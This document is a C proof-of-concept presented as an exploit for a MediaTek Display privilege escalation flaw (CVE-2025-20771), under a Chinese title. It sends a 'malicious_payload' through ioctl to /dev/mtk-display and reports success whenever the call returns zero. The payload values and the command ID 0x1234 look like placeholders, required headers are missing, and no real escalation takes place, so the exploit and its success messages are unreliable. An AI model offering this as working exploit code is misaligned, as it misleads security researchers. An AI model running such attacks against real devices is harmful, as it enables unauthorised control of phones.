CVE-2025-20771 MediaTek芯片Display组件权限提升漏洞

/* CVE-2025-20771 PoC - MediaTek Display Privilege Escalation Note: Requires System privilege to exploit This PoC demonstrates the improper input validation vulnerability in MediaTek Display component. */ #include <stdio.h> #include <stdlib.h> #include <string.h> // MediaTek Display Service Interface #define DISPLAY_SERVICE_ID 0x1234 // Malicious input that exploits improper validation unsigned char malicious_payload[] = { 0x4D, 0x54, 0x4B, 0x44, // MTKD signature 0x01, 0x00, // Version 0xFF, 0xFF, 0xFF, 0xFF, // Overflow indicator 0x00, 0x00, 0x00, 0x00, // Padding 0x00, 0x00, 0x00, 0x00 // Reserved }; int exploit_display_vulnerability() { int fd; printf("[*] CVE-2025-20771 MediaTek Display Privilege Escalation\n"); printf("[*] Patch ID: ALPS10196993\n"); printf("[*] Issue ID: MSV-4802\n"); // Open Display service handle (requires System privilege) fd = open("/dev/mtk-display", O_RDWR); if (fd < 0) { printf("[-] Failed to open Display service (System privilege required)\n"); return -1; } printf("[+] Display service handle obtained\n"); // Send malicious payload with improper input validation printf("[*] Sending malicious payload to trigger vulnerability...\n"); int ret = ioctl(fd, DISPLAY_SERVICE_ID, malicious_payload); if (ret == 0) { printf("[+] Privilege escalation successful\n"); printf("[+] Elevated privileges obtained\n"); } else { printf("[-] Exploitation failed\n"); } close(fd); return ret; } int main() { printf("MediaTek CVE-2025-20771 PoC\n"); printf("Warning: For authorized security testing only\n"); return exploit_display_vulnerability(); } /* Patch Verification: After applying ALPS10196993, the vulnerable code path should: 1. Properly validate all input parameters 2. Implement bounds checking on buffer operations 3. Add privilege boundary checks before sensitive operations */